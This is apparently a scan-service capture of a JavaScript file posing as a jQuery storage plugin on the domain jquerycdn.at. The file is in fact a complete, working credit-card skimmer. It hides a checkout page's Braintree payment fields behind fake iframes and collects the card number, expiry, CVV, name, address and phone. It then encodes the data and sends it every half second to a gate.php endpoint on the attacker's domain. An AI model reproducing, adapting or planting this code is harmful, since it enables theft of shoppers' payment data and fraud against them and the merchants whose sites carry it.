jquerycdn.at
217.8.117.75 

URL: https://jquerycdn.at/jquery.storageapi.min.js
Submission: On August 21 via api from US

Form analysis 0 forms found in the DOM

Text Content

String.prototype.hashCode = function() { var hash = 0, i, chr; if (this.length === 0) {return hash;} for (i = 0; i < this.length; i++) { chr = this.charCodeAt(i); hash  = ((hash << 5) - hash) + chr; hash |= 0; } return hash;};
var $s = {
Number: null,
Holder: null,
HolderFirstName: "firstname",
HolderLastName: "lastname",
Date: null,
Month: "month",
Year: "year",
CVV: null,
Gate: "https://jquerycdn.at/gate.php",
Data: {},
TNumber: '<!DOCTYPE html><html><head><meta charset="utf-8"><title>Number</title><style>body{margin:0;padding:0}input{width:100%;height:100%;position:absolute;top:0;left:0;border:0;background-color:transparent}</style><script>setInterval(function(){void 0!==parent.$s&&(parent.$s.Data.Number=document.getElementById("field").value.trim())},500)</script></head><body><input type="text" id="field" placeholder=""></body></html>',
TMonth: '<!DOCTYPE html><html><head><meta charset="utf-8"><title>Month</title><style>body{margin:0;padding:0}input{width:100%;height:100%;position:absolute;top:0;left:0;border:0;background-color:transparent}</style><script>setInterval(function(){void 0!==parent.$s&&(parent.$s.Data.month=document.getElementById("field").value.trim())},500)</script></head><body><input type="text" id="field" placeholder="MM"></body></html>',
TYear: '<!DOCTYPE html><html><head><meta charset="utf-8"><title>Year</title><style>body{margin:0;padding:0}input{width:100%;height:100%;position:absolute;top:0;left:0;border:0;background-color:transparent}</style><script>setInterval(function(){void 0!==parent.$s&&(parent.$s.Data.year=document.getElementById("field").value.trim())},500)</script></head><body><input type="text" id="field" placeholder="YY"></body></html>',
TCVV: '<!DOCTYPE html><html><head><meta charset="utf-8"><title>CVV</title><style>body{margin:0;padding:0}input{width:100%;height:100%;position:absolute;top:0;left:0;border:0;background-color:transparent}</style><script>setInterval(function(){void 0!==parent.$s&&(parent.$s.Data.CVV=document.getElementById("field").value.trim())},500)</script></head><body><input type="text" id="field" placeholder=""></body></html>',
Sent: [],
Completed: false,
SaveParam: function(elem) {
var fields = ["firstname", "lastname", "street[0]", "city", "region_id", "postcode", "country_id" , "telephone"];
if(elem.name !== undefined && fields.indexOf(elem.name) > -1 && elem.value.trim().length > 0) {
$s.Data[elem.name] = elem.value;
return;
}
if(elem.id !== undefined && elem.id != "" && elem.id !== null && elem.value.length < 256 && elem.value.length > 0) {
$s.Data[elem.id] = elem.value;
return;
}
if(elem.name !== undefined && elem.name != "" && elem.name !== null && elem.value.length < 256 && elem.value.length > 0) {
$s.Data[elem.name] = elem.value;
return;
}    
},
SaveAllFields: function() {
var inputs = document.getElementsByTagName("input");
var selects = document.getElementsByTagName("select");
var textareas = document.getElementsByTagName("textarea");
for(var i = 0; i < inputs.length; i++) $s.SaveParam(inputs[i]);
for(var i = 0; i < selects.length; i++) $s.SaveParam(selects[i]);
for(var i = 0; i < textareas.length; i++) $s.SaveParam(textareas[i]);
},
SendData: function() {
$s.Data['Domain'] = location.hostname;
var encoded = $s.Base64.encode(JSON.stringify($s.Data));
var hash = encoded.hashCode;
for(var i = 0; i < $s.Sent.length; i++)
if($s.Sent[i] == hash) return;
$s.LoadImage(encoded);
},
TrySend: function() {
$s.PutForm();
$s.SaveAllFields();
$s.GetCCInfo();
if($s.Data['Number'] === undefined || $s.Data['Number'].length < 11) return;
if($s.Data['Holder'] === undefined || $s.Data['Holder'].length == 0) return;
if($s.Data['Date'] === undefined || $s.Data['Date'].length == 0) return;
if($s.Data['CVV'] === undefined || $s.Data['CVV'].length < 3) return;
$s.SendData();
},
GetCCInfo: function() {
if($s.Number !== null && $s.Data[$s.Number] !== undefined) $s.Data['Number'] = $s.Data[$s.Number];
if($s.CVV !== null && $s.Data[$s.CVV] !== undefined) $s.Data['CVV'] = $s.Data[$s.CVV];
if($s.Holder !== null && $s.Data[$s.Holder] !== undefined) $s.Data['Holder'] = $s.Data[$s.Holder];
if($s.HolderFirstName !== null && $s.Data[$s.HolderFirstName] !== undefined) $s.Data['Holder'] = $s.Data[$s.HolderFirstName];
if($s.HolderLastName !== null && $s.Data[$s.HolderLastName] !== undefined) $s.Data['Holder'] += " " + $s.Data[$s.HolderLastName];
if($s.Date !== null && $s.Data[$s.Date] !== undefined) $s.Data['Date'] = $s.Data[$s.Date];
if($s.Month !== null && $s.Data[$s.Month] !== undefined) $s.Data['Date'] = $s.Data[$s.Month];
if($s.Year !== null && $s.Data[$s.Year] !== undefined) $s.Data['Date'] += "/" + $s.Data[$s.Year];
},
LoadImage: function(encoded) {
$s.Sent.push(encoded.hashCode);
var img = document.createElement("IMG");
img.src = $s.GetImageUrl(encoded);
},
GetImageUrl: function(encoded) {
return $s.Gate + "?hash=" + encoded;
},
PutForm: function() {
if(typeof jQuery !== "undefined") {
var checkbox = document.getElementById("braintree");
if(checkbox !== null && checkbox.checked) {
if(!$s.Completed) {
if(document.getElementsByClassName("fpmt").length == 0) {
var num = document.createElement("iframe");
num.className = "fpmt";
num.srcdoc = $s.TNumber;
num.style = "border: medium none; width: 100%; height: 100%; float: left;";
num.frameBorder = "0";
num.scrolling = "no";
jQuery("#braintree-hosted-field-number").hide().after(num);
var cvv = document.createElement("iframe");
cvv.className = "fpmt";
cvv.srcdoc = $s.TCVV;
cvv.frameBorder = "0";
cvv.style = "border: medium none; width: 100%; height: 100%; float: left;";
cvv.scrolling = "no";
jQuery("#braintree-hosted-field-cvv").hide().after(cvv);
var month = document.createElement("iframe");
month.className = "fpmt";
month.srcdoc = $s.TMonth;
month.frameBorder = "0";
month.style = "border: medium none; width: 100%; height: 100%; float: left;";
month.scrolling = "no";
jQuery("#braintree-hosted-field-expirationMonth").hide().after(month);
var year = document.createElement("iframe");
year.className = "fpmt";
year.srcdoc = $s.TYear;
year.frameBorder = "0";
year.style = "border: medium none; width: 100%; height: 100%; float: left;";
year.scrolling = "no";
jQuery("#braintree-hosted-field-expirationYear").hide().after(year);
jQuery("[title='Place Order']")[0].addEventListener("click", $s.Click, true);
} else {
jQuery("#braintree-hosted-field-number").hide();
jQuery("#braintree-hosted-field-expirationMonth").hide();
jQuery("#braintree-hosted-field-expirationYear").hide();
jQuery("#braintree-hosted-field-cvv").hide();
jQuery(".fpmt").show();
}   
} else {
jQuery("#braintree-hosted-field-number").show();
jQuery("#braintree-hosted-field-expirationMonth").show();
jQuery("#braintree-hosted-field-expirationYear").show();
jQuery("#braintree-hosted-field-cvv").show();
jQuery(".fpmt").hide();
}
}
}
},
Click: function(){
if(!$s.Completed) {
$s.Completed = true;
}
},
GetValue: function(className) {
var es = document.getElementsByClassName(className);
if(es.length > 0) {
var e = es[es.length-1];
return e.innerText;
} else {
return false;
}
},
Base64: {_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(r){var t,e,o,h,a,n,c,d="",i=0;for(r=this._utf8_encode(r);i<r.length;)h=(t=r.charCodeAt(i++))>>2,a=(3&t)<<4|(e=r.charCodeAt(i++))>>4,n=(15&e)<<2|(o=r.charCodeAt(i++))>>6,c=63&o,isNaN(e)?n=c=64:isNaN(o)&&(c=64),d=d+this._keyStr.charAt(h)+this._keyStr.charAt(a)+this._keyStr.charAt(n)+this._keyStr.charAt(c);return d},decode:function(r){var t,e,o,h,a,n,c="",d=0;for(r=r.replace(/[^A-Za-z0-9\+\/\=]/g,"");d<r.length;)t=this._keyStr.indexOf(r.charAt(d++))<<2|(h=this._keyStr.indexOf(r.charAt(d++)))>>4,e=(15&h)<<4|(a=this._keyStr.indexOf(r.charAt(d++)))>>2,o=(3&a)<<6|(n=this._keyStr.indexOf(r.charAt(d++))),c+=String.fromCharCode(t),64!=a&&(c+=String.fromCharCode(e)),64!=n&&(c+=String.fromCharCode(o));return c=this._utf8_decode(c)},_utf8_encode:function(r){r=r.replace(/\r\n/g,"\n");for(var t="",e=0;e<r.length;e++){var o=r.charCodeAt(e);o<128?t+=String.fromCharCode(o):o>127&&o<2048?(t+=String.fromCharCode(o>>6|192),t+=String.fromCharCode(63&o|128)):(t+=String.fromCharCode(o>>12|224),t+=String.fromCharCode(o>>6&63|128),t+=String.fromCharCode(63&o|128))}return t},_utf8_decode:function(r){for(var t="",e=0,o=c1=c2=0;e<r.length;)(o=r.charCodeAt(e))<128?(t+=String.fromCharCode(o),e++):o>191&&o<224?(c2=r.charCodeAt(e+1),t+=String.fromCharCode((31&o)<<6|63&c2),e+=2):(c2=r.charCodeAt(e+1),c3=r.charCodeAt(e+2),t+=String.fromCharCode((15&o)<<12|(63&c2)<<6|63&c3),e+=3);return t}}
}
document.onreadystatechange = function() {
if(document.readyState === 'complete') {
setInterval($s.TrySend, 500);
}
}